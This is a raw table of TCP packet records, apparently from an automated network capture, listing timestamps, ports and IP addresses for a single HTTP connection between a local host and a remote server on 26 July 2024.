Jul 26, 2024 10:36:14.651271105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651278019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651278019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651310921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651329041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651932955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651945114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651954889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651967049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651978970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651988029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651988029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651989937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652000904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652013063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652024031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652034044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.652034044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.652035952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652048111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652059078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.652060032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652071953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652082920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652086973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.652095079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652107954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652122974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.652122974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.652168036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.652473927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652492046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652503014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.652522087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.652566910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.740448952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740463018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740473986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740520000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.740555048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.740652084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740663052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740675926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740686893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740698099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740715981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740715981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.740715981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.740726948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740739107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740746975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.740751028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.740778923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.740808010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.740999937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741018057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741029024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741039991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741053104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741056919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741056919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741065025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741076946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741089106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741100073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741111040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741111040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741111040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741122961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741133928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741144896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741146088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741157055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741168022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741188049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741188049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741214991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741837978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741851091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741863012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741873980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741885900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741888046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741898060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741905928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741909027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741919994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741931915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741944075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741950035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741950035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741954088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741966963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741970062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.741982937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.741996050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742002010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742007017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742021084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742046118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742046118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742074966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742835045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742847919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742858887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742870092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742882013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742894888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742894888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742906094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742918015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742928982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742932081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742932081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742940903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742950916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.742959023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742991924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.742991924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.743402004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743413925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743423939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743434906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743444920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743455887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743457079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.743468046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743479013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743491888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743498087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.743498087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.743503094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743515968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743526936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743534088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.743539095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743550062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743561029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.743571997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.743571997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.743805885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744354963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744366884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744378090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744390011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744400024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744417906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744422913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744422913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744430065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744441032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744453907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744456053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744466066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744477034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744493008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744493008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744496107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744508982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744522095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744529009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744533062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.744551897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744551897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.744579077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.745444059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745455980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745466948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745480061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745491982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745503902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745515108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745524883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.745524883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.745527029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745539904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745543957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.745551109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745563030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745563030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.745574951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745587111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745589018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.745598078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.745640039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.745640039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.746167898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746181011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746191978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746205091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746218920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746232986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.746232986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.746233940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746247053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746258974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746265888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.746273994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746283054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.746284962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.746330023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.746330023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.834676981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.834753990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.834767103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.834774017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.834779024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.834794044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.834827900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.834943056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.834954977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.834969044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.834980011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.834990978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835000992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835010052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835010052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835014105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835048914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835086107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835736036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835752964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835764885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835776091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835787058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835793018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835793018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835798979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835810900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835822105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835828066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835833073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835843086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835853100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835855961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835855961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835863113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835875034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835881948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835881948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835887909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835901976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835942030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835942030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.835953951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835964918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835974932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.835993052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836016893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836016893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836042881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836186886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836199045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836210012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836222887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836232901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836232901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836235046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836257935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836494923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836513042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836513042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836524010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836538076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836549997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836554050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836554050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836560965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836570978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836580992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836592913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836594105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836605072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836616993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836636066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836649895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836674929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.836950064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836962938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836975098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836986065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.836997986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837003946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837004900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837009907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837021112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837027073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837033033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837044954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837069988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837069988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837133884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837548018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837558985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837568998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837582111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837594032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837605000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837615967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837624073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837624073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837629080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837640047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837640047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837694883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837694883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837708950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837719917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837749958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837774038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837781906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837793112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837804079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837815046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837826014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837837934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.837840080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837840080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837882042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.837882042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838210106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838222027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838232040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838243961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838254929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838265896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838270903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838270903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.838278055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838289976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838303089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838313103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.838326931 CEST	80	49710	85.28.47.31	192.168.2.6
